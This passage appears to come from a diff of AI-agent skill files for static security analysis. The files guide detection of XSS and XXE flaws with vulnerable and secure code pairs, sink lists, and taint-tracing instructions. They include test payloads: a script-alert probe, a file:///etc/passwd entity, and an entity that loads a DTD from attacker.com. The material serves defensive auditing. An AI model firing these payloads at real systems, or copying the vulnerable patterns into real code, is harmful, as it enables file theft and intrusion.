<%-- SECURE: c:out escaping --%>
<p>Hello, <c:out value="${param.name}"/></p>
```
### Go — html/template vs. text/template
```go
// VULNERABLE: using text/template (no HTML escaping)
import "text/template"
tmpl := template.Must(template.New("").Parse("<h1>Hello, {{.Name}}!</h1>"))
tmpl.Execute(w, data)
// VULNERABLE: using template.HTML() cast to bypass escaping
import "html/template"
name := template.HTML(r.URL.Query().Get("name")) // bypasses auto-escaping
// SECURE: html/template with plain string value
import "html/template"
tmpl := template.Must(template.New("").Parse("<h1>Hello, {{.Name}}!</h1>"))
tmpl.Execute(w, data) // .Name is a plain string — auto-escaped
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Find XSS Sink Sites
Launch a subagent with the following instructions:
> **Goal**: Find every location in the codebase where data is rendered into HTML, JavaScript, or the DOM in a way that could allow script injection — any unescaped or explicitly-marked-safe output, any dangerous DOM property assignment, any JavaScript execution sink. Write results to `sast/xss-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand the frontend stack, template engines, server-side rendering frameworks, and any client-side JavaScript patterns.
>
> **What to search for — vulnerable sink patterns**:
>
> Flag ANY dynamic variable passed to a dangerous output sink. You are not yet checking whether the variable is user-controlled — that is Phase 2's job.
>
> **1. Server-side template unescaped output**:
> - Jinja2/Django: `{{ var | safe }}`, `{% autoescape off %}`, `Markup(var)`, `mark_safe(var)`, `format_html(...)` with direct user-controlled format args
> - EJS: `<%- var %>`
> - Handlebars/Mustache: `{{{ var }}}`
> - Pug: `!{var}`
> - Thymeleaf: `th:utext="${var}"`, `[(${var})]`
> - Twig: `{{ var | raw }}`
> - Blade (Laravel): `{!! $var !!}`
> - Rails ERB: `raw(var)`, `var.html_safe`, `<%= raw var %>`
> - PHP: `echo $var`, `print $var`, `<?= $var ?>` without `htmlspecialchars()`
> - Go: `template.HTML(var)`, `template.JS(var)`, `template.URL(var)`, usage of `text/template` for HTML output
> - C#/Razor: `@Html.Raw(var)`, `MvcHtmlString.Create(var)`
>
> **2. Direct HTML string construction in server-side code**:
> - String concatenation or interpolation building an HTML response: `res.send("<p>" + var + "</p>")`, `f"<h1>{var}</h1>"`, `"<div>" + var + "</div>"`
> - `render_template_string(f"...{var}...")` in Flask
>
> **3. Client-side DOM sinks**:
> - `element.innerHTML = var`
> - `element.outerHTML = var`
> - `document.write(var)`, `document.writeln(var)`
> - `element.insertAdjacentHTML(position, var)`
> - jQuery: `$(el).html(var)`, `$(el).append(var)`, `$('<tag>' + var + '</tag>')`, `$.parseHTML(var)` passed to DOM
> - React: `dangerouslySetInnerHTML={{ __html: var }}`
> - Angular: `[innerHTML]="var"`, `bypassSecurityTrustHtml(var)`, `bypassSecurityTrustScript(var)`, `bypassSecurityTrustUrl(var)`, `bypassSecurityTrustStyle(var)`, `bypassSecurityTrustResourceUrl(var)`
> - Vue: `v-html="var"`
>
> **4. JavaScript execution sinks**:
> - `eval(var)`
> - `setTimeout(var, ...)` / `setInterval(var, ...)` where `var` is a string variable (not a function reference)
> - `new Function(var)()`
> - `scriptElement.text = var`, `scriptElement.textContent = var`
> - `element.setAttribute('onclick', var)`, `element.setAttribute('href', 'javascript:' + var)`, and similar event-handler attribute assignments
> - URL-based sinks where `javascript:` URIs could execute: `location.href = var`, `location.replace(var)`, `element.src = var`, `element.action = var`
>
> **5. DOM-based XSS patterns** — client-side code reading from attacker-controlled sources and passing to any sink above:
> - Reading from: `location.search`, `location.hash`, `location.href`, `document.referrer`, `document.URL`, `document.cookie`, `window.name`, `postMessage` handler (`event.data`), `URLSearchParams`
> - Then passing to an HTML or JS sink without escaping
>
> **What to skip** (these are safe output patterns — do not flag):
> - Auto-escaped template output: `{{ var }}` in Jinja2 (auto-escape on), `<%= var %>` in EJS, `{{ var }}` in Handlebars double-brace, `@var` in Razor, `th:text` in Thymeleaf
> - `element.textContent = var` and `element.innerText = var` — no HTML parsing, safe
> - React JSX `{var}` — auto-escaped
> - Angular `{{ var }}` interpolation — auto-escaped
> - Vue `{{ var }}` interpolation — auto-escaped
> - `DOMPurify.sanitize(var)` wrapping an innerHTML assignment — typically safe (verify config)
> - `sanitize-html`, `xss`, or similar allowlist sanitizer library wrapping output
>
> **Output format** — write to `sast/xss-recon.md`:
>
> ```markdown
> # XSS Recon: [Project Name]
>
> ## Summary
> Found [N] locations where data is rendered into HTML/JS/DOM without guaranteed escaping.
>
> ## Sink Sites
>
> ### 1. [Descriptive name — e.g., "innerHTML assignment in search results handler"]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Function / endpoint / component**: [function name, route, or component]
> - **Sink type**: [server-side template / HTML string concat / DOM innerHTML / eval / JS execution sink / DOM-based source-to-sink]
> - **Sink call**: [the exact API or property used — e.g., `innerHTML`, `mark_safe()`, `<%- %>`]
> - **Interpolated variable(s)**: `var_name` — [brief note, e.g., "unknown origin" or "looks like user profile field"]
> - **XSS type**: [Reflected / Stored / DOM-based — best guess at this stage]
> - **Code snippet**:
> ```
> [the vulnerable sink code]
> ```
>
> [Repeat for each site]
> ```
### After Phase 1: Check for Candidates Before Proceeding
After Phase 1 completes, read `sast/xss-recon.md`. If the recon found **zero sink sites** (the summary reports "Found 0" or the "Sink Sites" section is empty or absent), **skip Phase 2 entirely**. Instead, write the following content to `sast/xss-results.md` and stop:
```markdown
# XSS Analysis Results
No vulnerabilities found.
```
Only proceed to Phase 2 if Phase 1 found at least one sink site.
### Phase 2: Trace User Input to Sink Sites
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each XSS sink site in `sast/xss-recon.md`, determine whether a user-supplied value reaches the output variable. Write final results to `sast/xss-results.md`.
>
> **Context**: You will be given the project's architecture summary and the Phase 1 recon output. Use the architecture to understand request entry points, data flows, middleware, and client-side data sources.
>
> **For each sink site, trace the interpolated variable(s) backwards to their origin**:
>
> **User-controlled sources to look for:**
>
> 1. **HTTP request sources** (server-side):
> - Query parameters: `request.GET.get(...)`, `req.query.x`, `params[:x]`, `$_GET['x']`, `c.Query("x")`, `r.URL.Query().Get("x")`
> - Path parameters: `request.path_params['id']`, `req.params.id`, `params[:id]`, `$_GET['id']`
> - Request body / form fields: `request.POST.get(...)`, `req.body.x`, `request.form.get(...)`, `$_POST['x']`
> - HTTP headers: `request.headers.get(...)`, `req.headers['x']`, `$_SERVER['HTTP_X_CUSTOM']`
> - Cookies: `request.COOKIES.get(...)`, `req.cookies.x`, `$_COOKIE['x']`
> - File upload filenames or content: `request.files['x'].filename`
>
> 2. **Attacker-controlled DOM sources** (client-side / DOM-based XSS):
> - `location.search`, `location.hash`, `location.href`, `document.referrer`, `document.URL`
> - `window.name`, `document.cookie`
> - `postMessage` event: `window.addEventListener('message', (e) => { ... e.data ... })`
> - `URLSearchParams` values derived from `location.search`
> - `localStorage` / `sessionStorage` values written from URL or postMessage
>
> 3. **Stored (second-order) input** — the variable is read from persistent storage (database, file, cache), but the stored value originally came from user input:
> - Find the write path: where was this field stored? Was it user-supplied at write time?
> - Was any escaping or sanitization applied at write time? (Note: HTML-escaping at write time is fragile — it may be double-encoded or stripped elsewhere)
> - Stored XSS is still a vulnerability even if it was validated or stored safely; track whether the read-back path escapes before rendering
>
> 4. **Server-side / hardcoded value** — the variable comes from config, environment, a hardcoded constant, or server-side logic with no user influence — this site is NOT exploitable.
>
> **For each sink site, also check for mitigations that would prevent exploitation**:
> - Is the output explicitly escaped with a safe function just before the sink? (`htmlspecialchars()`, `escapeHtml()`, `h()`, `fn:escapeXml()`)
> - Is a sanitization library applied with a strict allowlist config? (`DOMPurify.sanitize(input)` — check if the config strips scripts)
> - Is the HTTP response `Content-Type` set to `application/json` or `text/plain` (no HTML rendering)?
> - Is a Content Security Policy header present that blocks inline scripts? (CSP reduces impact but is not a full fix)
> - Is there a WAF or input validation that strictly allowlists the expected format (e.g., a numeric ID)?
>
> **Classification**:
> - **Vulnerable**: User input demonstrably reaches the sink with no effective escaping or sanitization.
> - **Likely Vulnerable**: User input probably reaches the sink (indirect/stored flow) or only weak mitigation is present (CSP-only, WAF-only, partial sanitization, incomplete allowlist).
> - **Not Vulnerable**: The variable is server-side only with no user influence, OR proper context-aware escaping is applied immediately before the sink.
> - **Needs Manual Review**: Cannot determine the variable's origin with confidence (opaque helpers, complex conditional flows, external libraries, or cross-service data flows).
>
> **Output format** — write to `sast/xss-results.md`:
>
> ```markdown
> # XSS Analysis Results: [Project Name]
>
> ## Executive Summary
> - Sink sites analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function / component**: [route, function, or component name]
> - **XSS type**: [Reflected / Stored / DOM-based]
> - **Issue**: [e.g., "HTTP query param `q` flows directly into innerHTML without escaping"]
> - **Taint trace**: [Step-by-step from source to sink — e.g., "req.query.q → query → `<h1>${query}</h1>` → res.send()"]
> - **Impact**: [What an attacker can do — session hijacking, credential theft, keylogging, defacement, redirects to malicious sites, etc.]
> - **Remediation**: [Specific fix — escape with the correct function, switch to textContent, use auto-escaping template syntax, apply DOMPurify]
> - **Dynamic Test**:
> ```
> [curl command or browser payload to confirm the finding.
> Show the exact parameter, payload, and what to observe.
> Example: curl "https://app.example.com/search?q=<script>alert(1)</script>"
> Or: Visit https://app.example.com/#<img src=x onerror=alert(1)> and observe alert box]
> ```
>
> ### [LIKELY VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function / component**: [route, function, or component name]
> - **XSS type**: [Reflected / Stored / DOM-based]
> - **Issue**: [e.g., "Stored user bio likely rendered via innerHTML; write path confirmed from user input"]
> - **Taint trace**: [Best-effort trace, with uncertain steps identified]
> - **Concern**: [Why it's still a risk — e.g., "Sanitization library present but configured to allow script-capable tags"]
> - **Remediation**: [Specific fix]
> - **Dynamic Test**:
> ```
> [payload to attempt]
> ```
>
> ### [NOT VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function / component**: [route, function, or component name]
> - **Reason**: [e.g., "Output wrapped in htmlspecialchars() before echo" or "Variable is a hardcoded server constant"]
>
> ### [NEEDS MANUAL REVIEW] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function / component**: [route, function, or component name]
> - **Uncertainty**: [Why the variable's origin or escaping status could not be determined]
> - **Suggestion**: [What to trace manually — e.g., "Follow `buildProfileHtml()` in utils.js to check where its return value originates"]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
- **Phase 1 is purely structural**: flag any dynamic variable passed to an HTML/JS/DOM sink, regardless of origin. Do not attempt to trace user input in Phase 1 — that is Phase 2's job.
- **Phase 2 is purely taint analysis**: for each sink found in Phase 1, trace the variable back to its origin. If it comes from a user-controlled source with no effective escaping, the site is a real vulnerability.
- Context matters: the same variable may be safe in one output context (HTML body with escaping) and dangerous in another (JavaScript string literal, URL attribute, or event handler attribute). Check the exact rendering context.
- Custom sanitization (homegrown regex stripping, blacklisting `<script>`, etc.) is **not** sufficient — flag as Likely Vulnerable. Only DOMPurify with a strict config or equivalent allowlist library is acceptable.
- Stored XSS is easy to miss: trace the write path to confirm the field is user-supplied, then separately verify the read/render path lacks escaping. Both legs must be true for the vulnerability to be exploitable.
- DOM-based XSS lives entirely in client-side JavaScript: look for `location.*`, `document.referrer`, `event.data`, and other attacker-controlled properties flowing into DOM sinks without passing through the server.
- CSP headers reduce XSS exploitability but are **not** a fix — still flag the underlying injection point.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
- Angular's `DomSanitizer.bypassSecurityTrust*` methods are always suspicious — flag them whenever the argument is not a hardcoded constant.
- For JavaScript execution sinks (`eval`, `setTimeout` with string arg), even seemingly innocuous data (error messages, IDs) can be dangerous if an attacker can influence them.
+517
View File
@@ -0,0 +1,517 @@
---
name: sast-xxe
description: >-
Detect XML External Entity (XXE) vulnerabilities in a codebase using a
two-phase approach: first find all XML parsing sites where external entity
resolution is not explicitly disabled, then trace whether user-supplied input
reaches those parsers. Requires sast/architecture.md (run sast-analysis
first). Outputs findings to sast/xxe-results.md. Use when asked to find XXE
or XML injection bugs.
---
# XML External Entity (XXE) Detection
You are performing a focused security assessment to find XXE vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: **recon** (find all XML parsing sites where external entities are not safely disabled) then **taint** (confirm whether user-supplied input reaches those parsers).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is XXE
XXE occurs when an XML parser processes a document containing a reference to an external entity and the parser has external entity resolution enabled. An attacker who can supply XML input can use this to read arbitrary local files, perform server-side request forgery (internal network probing), trigger denial-of-service via entity expansion (Billion Laughs), or in some stacks execute OS commands.
The core pattern: *user-controlled XML reaches an XML parser that has not disabled DTD processing or external entity resolution.*
### What XXE IS
- XML parsed with external entity resolution **enabled by default** and no explicit hardening applied
- `SYSTEM` entity declarations that reference `file://` or `http://` URIs: `<!ENTITY xxe SYSTEM "file:///etc/passwd">`
- DTD processing not explicitly disabled in parsers where it is on by default (Java DOM/SAX, PHP SimpleXML/DOMDocument, libxml2-backed parsers)
- Parameter entity injection in DTDs: `<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;`
- XInclude injection when XInclude processing is enabled
- SSRF via XXE: using `http://` or `https://` external entity URLs to reach internal services
- Blind XXE via out-of-band exfiltration (DNS, HTTP callback to attacker-controlled server)
### What XXE is NOT
Do not flag these as XXE:
- **XSS via XML**: XML data rendered as HTML without escaping — that's XSS
- **SSRF via non-XML**: HTTP requests triggered by other mechanisms — that's SSRF
- **XML parsing of fully server-controlled data**: Config files, bundled resources, migration scripts with no user influence — not exploitable
- **Safe parsers**: Libraries that disable external entities by default and provide no way to re-enable them (e.g. `defusedxml` in Python, `nokogiri` with default settings in Ruby for untrusted input)
### Patterns That Prevent XXE
When you see these patterns, the parser is likely **not vulnerable**:
**1. Disabling DTD / external entities (Java DOM)**
```java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
```
**2. Disabling external entities (Java SAX)**
```java
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
```
**3. Disabling external entities (Java StAX / XMLInputFactory)**
```java
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
```
**4. Python — defusedxml (always safe)**
```python
import defusedxml.ElementTree as ET
tree = ET.parse(source) # external entities, DTD, entity expansion all blocked
```
**5. Python — lxml with resolve_entities=False**
```python
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(source, parser)
```
**6. PHP — libxml_disable_entity_loader (PHP < 8.0) / LIBXML_NONET flag**
```php
libxml_disable_entity_loader(true); // PHP 7.x — disables external entity loading
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NOENT | LIBXML_NONET); // LIBXML_NONET blocks network
// Note: LIBXML_NOENT alone EXPANDS entities — it does NOT disable them
```
**7. .NET — XmlReaderSettings with DtdProcessing.Prohibit**
```csharp
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);
```
**8. Node.js — xml2js (safe by default in v0.5+)**
```javascript
const xml2js = require('xml2js');
// xml2js does not resolve external entities by default — safe
xml2js.parseString(xmlInput, callback);
```
---
## Vulnerable vs. Secure Examples
### Python — stdlib xml.etree.ElementTree (vulnerable by default in CPython < 3.8 / expat quirks)
```python
# VULNERABLE: ElementTree parses DTDs; stdlib does NOT protect against all XXE
import xml.etree.ElementTree as ET
def parse_data(request):
xml_data = request.body
tree = ET.fromstring(xml_data) # no hardening — expat may resolve entities
return process(tree)
# SECURE: use defusedxml drop-in replacement
import defusedxml.ElementTree as ET
def parse_data(request):
xml_data = request.body
tree = ET.fromstring(xml_data) # defusedxml blocks all XXE vectors
return process(tree)
```
### Python — lxml
```python
# VULNERABLE: lxml resolves external entities by default
from lxml import etree
def parse_upload(request):
data = request.body
tree = etree.fromstring(data) # external entities resolved, network access allowed
return render(tree)
# SECURE: disable entity resolution and network access
from lxml import etree
def parse_upload(request):
data = request.body
parser = etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False)
tree = etree.fromstring(data, parser)
return render(tree)
```
### Java — DocumentBuilder (DOM)
```java
// VULNERABLE: default DocumentBuilder resolves external entities
@PostMapping("/import")
public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xml)));
return ResponseEntity.ok(process(doc));
}
// SECURE: disable DTD and external entity features
@PostMapping("/import")
public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xml)));
return ResponseEntity.ok(process(doc));
}
```
### Java — SAXParser
```java
// VULNERABLE: default SAXParser allows external entities
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);
// SECURE: disable external entities
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);
```
### Java — XMLInputFactory (StAX)
```java
// VULNERABLE: default XMLInputFactory supports external entities
XMLInputFactory xif = XMLInputFactory.newInstance();
XMLStreamReader xsr = xif.createXMLStreamReader(inputStream);
// SECURE: disable external entity support
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
XMLStreamReader xsr = xif.createXMLStreamReader(inputStream);
```
### PHP — SimpleXML / DOMDocument
```php
// VULNERABLE: simplexml_load_string with no entity loader disabled
function parseXml($xml) {
return simplexml_load_string($xml); // resolves external entities
}
// VULNERABLE: DOMDocument without protection
function parseXml($xml) {
$doc = new DOMDocument();
$doc->loadXML($xml); // external entities enabled by default
return $doc;
}
// SECURE (PHP 7.x): disable entity loader before parsing
function parseXml($xml) {
libxml_disable_entity_loader(true);
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NONET);
return $doc;
}
```
### .NET — XmlDocument / XmlTextReader
```csharp
// VULNERABLE: XmlDocument with default XmlUrlResolver resolves external entities
XmlDocument doc = new XmlDocument();
doc.Load(stream); // external entities resolved
// VULNERABLE: XmlTextReader (legacy) — DTD processing on by default in old .NET
XmlTextReader reader = new XmlTextReader(stream);
// SECURE: XmlDocument with null resolver and prohibited DTD
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null; // disables external entity resolution
doc.Load(stream);
// SECURE: XmlReader with DtdProcessing.Prohibit
XmlReaderSettings settings = new XmlReaderSettings {
DtdProcessing = DtdProcessing.Prohibit,
XmlResolver = null
};
XmlReader reader = XmlReader.Create(stream, settings);
```
### Node.js — libxmljs
```javascript
// VULNERABLE: libxmljs parses with entity resolution on by default
const libxml = require('libxmljs');
app.post('/parse', (req, res) => {
const doc = libxml.parseXmlString(req.body);
res.send(doc.toString());
});
// SAFER: no built-in safe flag — avoid libxmljs for untrusted input entirely
// Prefer xml2js or a non-libxml2-backed parser
```
### Ruby — Nokogiri
```ruby
# VULNERABLE: Nokogiri with NOENT option enables entity substitution
def parse_xml(xml_input)
Nokogiri::XML(xml_input) { |config| config.noent }
end
# SECURE: default Nokogiri (no options) — safe for untrusted input
def parse_xml(xml_input)
Nokogiri::XML(xml_input)
end
```
### Go — encoding/xml
```go
// VULNERABLE: Go's encoding/xml does not resolve external entities
// but if combined with a third-party parser like etree with network enabled:
import "github.com/beevik/etree"
func parseXML(data []byte) {
doc := etree.NewDocument()
doc.ReadFromBytes(data) // check library's entity resolution behaviour
}
// Go's standard encoding/xml: does not resolve external entities — generally safe.
// Flag only if a third-party XML library with entity support is used.
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Find Vulnerable XML Parsing Sites
Launch a subagent with the following instructions:
> **Goal**: Find every location in the codebase where XML is parsed without external entity resolution being explicitly disabled. Write results to `sast/xxe-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand the tech stack, XML libraries in use, and any XML-accepting endpoints.
>
> **What to search for — vulnerable XML parsing patterns**:
>
> Flag any XML parsing call where there is **no adjacent, paired hardening** (disabling DTD / external entity features). You are not yet tracing whether the input is user-controlled; that is Phase 2's job.
>
> 1. **Python — stdlib parsers (flag unless defusedxml is used as a drop-in)**:
> - `xml.etree.ElementTree.parse(...)`, `ET.fromstring(...)`, `ET.iterparse(...)`
> - `xml.dom.minidom.parseString(...)`, `xml.dom.minidom.parse(...)`
> - `xml.sax.parseString(...)`, `xml.sax.parse(...)`
> - `xmltodict.parse(...)` (backed by expat — generally safe for entity expansion, but flag for review)
>
> 2. **Python — lxml (flag unless `resolve_entities=False` and `no_network=True` are set)**:
> - `etree.parse(...)`, `etree.fromstring(...)`, `etree.XML(...)`
> - `etree.XMLParser(...)` without `resolve_entities=False`
> - `objectify.parse(...)`, `objectify.fromstring(...)`
>
> 3. **Java — flag any instantiation of these without the matching hardening features set**:
> - `DocumentBuilderFactory.newInstance()` → `newDocumentBuilder()` → `parse(...)`
> - `SAXParserFactory.newInstance()` → `newSAXParser()` → `parse(...)`
> - `XMLInputFactory.newInstance()` → `createXMLStreamReader(...)`
> - `TransformerFactory.newInstance()` → `newTransformer()` used with XML source
> - `SchemaFactory.newInstance(...)` → `newSchema(...)`
> - Spring: `MarshallingHttpMessageConverter` with `Jaxb2Marshaller` if entity expansion not disabled
>
> 4. **PHP — flag any of these without `libxml_disable_entity_loader(true)` immediately before (PHP 7.x), or without `LIBXML_NONET` flag (PHP 8.x)**:
> - `simplexml_load_string(...)`, `simplexml_load_file(...)`
> - `DOMDocument::loadXML(...)`, `DOMDocument::load(...)`
> - `xml_parse(...)` with `xml_parser_create()`
> - `SimpleXMLElement::__construct(...)` with raw string
>
> 5. **.NET — flag any of these without `DtdProcessing.Prohibit` and `XmlResolver = null`**:
> - `new XmlDocument()` followed by `.Load(...)` or `.LoadXml(...)`
> - `new XmlTextReader(...)` (legacy — DTD on by default in older .NET)
> - `XPathDocument(...)`, `XDocument.Load(...)`, `XElement.Load(...)`
> - `XmlReader.Create(...)` without `XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit }`
>
> 6. **Node.js — flag these libraries when parsing untrusted input**:
> - `libxmljs.parseXmlString(...)`, `libxmljs.parseXml(...)`
> - `node-expat` parser instantiation
> - `sax.createStream(...)` / `sax.parser(...)` — check if entity expansion is used
> - `xml2js.parseString(...)` — generally safe in v0.5+; flag only if `explicitArray` or other options suggest an older version or entity expansion is re-enabled
>
> 7. **Ruby — flag these when used with options that enable entity expansion**:
> - `Nokogiri::XML(input) { |config| config.noent }` — `noent` enables entity substitution
> - `REXML::Document.new(input)` — REXML is vulnerable to entity expansion DoS; check for entity expansion usage
> - `LibXML::XML::Document.string(input)` — check entity options
>
> 8. **Go — flag third-party XML libraries that support entity resolution**:
> - `github.com/beevik/etree` usage — check if network/entity resolution is configured
> - Standard `encoding/xml` is generally safe (does not resolve external entities) — flag only if combined with custom entity handling
>
> **What to skip** (these are safe patterns — do not flag):
> - `import defusedxml` used as the XML parser (Python)
> - `etree.XMLParser(resolve_entities=False, no_network=True)` (lxml)
> - Java `DocumentBuilderFactory` with `disallow-doctype-decl` feature set to `true`
> - Java `XMLInputFactory` with `IS_SUPPORTING_EXTERNAL_ENTITIES = false`
> - .NET `XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit, XmlResolver = null }`
> - Nokogiri default usage without `noent` or other entity-expansion options
> - Parsing of fully static, bundled, non-user-influenced XML files (e.g. reading config from disk at startup with no user input involved)
>
> **Output format** — write to `sast/xxe-recon.md`:
>
> ```markdown
> # XXE Recon: [Project Name]
>
> ## Summary
> Found [N] XML parsing sites without explicit external entity hardening.
>
> ## Vulnerable Parsing Sites
>
> ### 1. [Descriptive name — e.g., "lxml.etree.fromstring without resolve_entities=False in upload handler"]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Function / endpoint**: [function name or route]
> - **Parser / library**: [e.g., lxml etree / Java DocumentBuilder / PHP DOMDocument]
> - **Missing hardening**: [what protection is absent — e.g., "resolve_entities not set to False", "disallow-doctype-decl feature not set"]
> - **Input variable(s)**: `var_name` — [brief note on what it appears to be, e.g., "HTTP request body" or "file upload content" or "unknown origin"]
> - **Code snippet**:
> ```
> [the XML parsing call and surrounding context]
> ```
>
> [Repeat for each site]
> ```
### Between Phases: Check Recon Results
After Phase 1 completes, read `sast/xxe-recon.md`. If the summary states zero vulnerable parsing sites were found (or the file contains no entries under "Vulnerable Parsing Sites"), **do not launch Phase 2**. Instead, write the following to `sast/xxe-results.md` and stop:
```
No vulnerabilities found.
```
Only proceed to Phase 2 if at least one vulnerable parsing site was identified in the recon output.
### Phase 2: Trace User Input to Vulnerable Parsing Sites
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each vulnerable XML parsing site in `sast/xxe-recon.md`, determine whether a user-supplied value reaches the XML parser. Write final results to `sast/xxe-results.md`.
>
> **Context**: You will be given the project's architecture summary and the Phase 1 recon output. Use the architecture to understand request entry points, middleware, file upload handlers, and how data flows through the application.
>
> **For each parsing site, trace the XML input variable(s) backwards to their origin**:
>
> 1. **Direct user input** — the XML content is assigned directly from a request source:
> - HTTP request body (especially `Content-Type: application/xml` or `text/xml` endpoints): `request.body`, `req.body`, `request.data`, `php://input`, `HttpContext.Request.Body`
> - File uploads: `request.FILES`, `req.file`, `multipart/form-data` fields
> - HTTP query params or form fields containing XML snippets
> - URL path parameters that reference XML resources
>
> 2. **Indirect user input** — the XML is derived from user input through transformations or intermediate steps:
> - A file path supplied by the user is used to open and parse a file
> - A URL supplied by the user is fetched and the response is parsed as XML
> - User input is embedded into an XML template before parsing (potential injection into the XML structure itself)
> - Variable passed through helper functions — trace the full call chain
>
> 3. **Second-order input** — the XML content was stored (e.g., in the DB or filesystem) from a prior user-controlled upload or input, and is now being parsed:
> - Find where the stored content was originally written — was it user-supplied at that point?
> - Was it validated or sanitized at write time?
>
> 4. **Server-side / hardcoded source** — the XML comes from a bundled resource, config file loaded at startup, or server-generated content with no user influence — this site is NOT exploitable.
>
> **For each parsing site, also assess exploitability**:
> - Is the response returned to the caller? (Reflected XXE — attacker can read file contents directly)
> - Is the response not returned, but side effects are observable? (Blind XXE — exfiltration via DNS/HTTP OOB or error messages)
> - Is the application behind authentication? (Reduces severity but does not eliminate the vulnerability)
> - Is the parser used in a context where only specific XML schemas are accepted? (e.g., SOAP envelope validation — still exploitable if DTD processing is on)
>
> **Classification**:
> - **Vulnerable**: User input demonstrably reaches the XML parser and the parser has no external entity hardening. Response or out-of-band channel allows exfiltration.
> - **Likely Vulnerable**: User input probably reaches the parser (indirect flow), or the parser is unhardened but the exploitation path is partially obscured.
> - **Not Vulnerable**: The XML source is fully server-controlled, OR the parser has proper hardening in place (DTD disabled, external entities disabled).
> - **Needs Manual Review**: Cannot determine the input source with confidence, or the hardening configuration is complex and requires runtime verification.
>
> **Output format** — write to `sast/xxe-results.md`:
>
> ```markdown
> # XXE Analysis Results: [Project Name]
>
> ## Executive Summary
> - Parsing sites analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Issue**: [e.g., "HTTP request body flows directly into lxml etree.fromstring without resolve_entities=False"]
> - **Taint trace**: [Step-by-step from entry point to the parsing call — e.g., "request.body → xml_data → etree.fromstring(xml_data)"]
> - **Parser**: [library and version if known]
> - **Exploitability**: [Reflected / Blind OOB / DoS only — describe what the attacker can achieve]
> - **Impact**: [e.g., "Read arbitrary local files via file:// entity", "SSRF to internal services via http:// entity", "DoS via entity expansion"]
> - **Remediation**: [Specific fix — e.g., "Use defusedxml", "Set resolve_entities=False and no_network=True", "Set disallow-doctype-decl feature to true"]
> - **Dynamic Test**:
> ```
> [curl command or payload to confirm the finding.
> Show the exact endpoint, Content-Type header, and XXE payload.
> Example:
> curl -X POST https://app.example.com/api/import \
> -H "Content-Type: application/xml" \
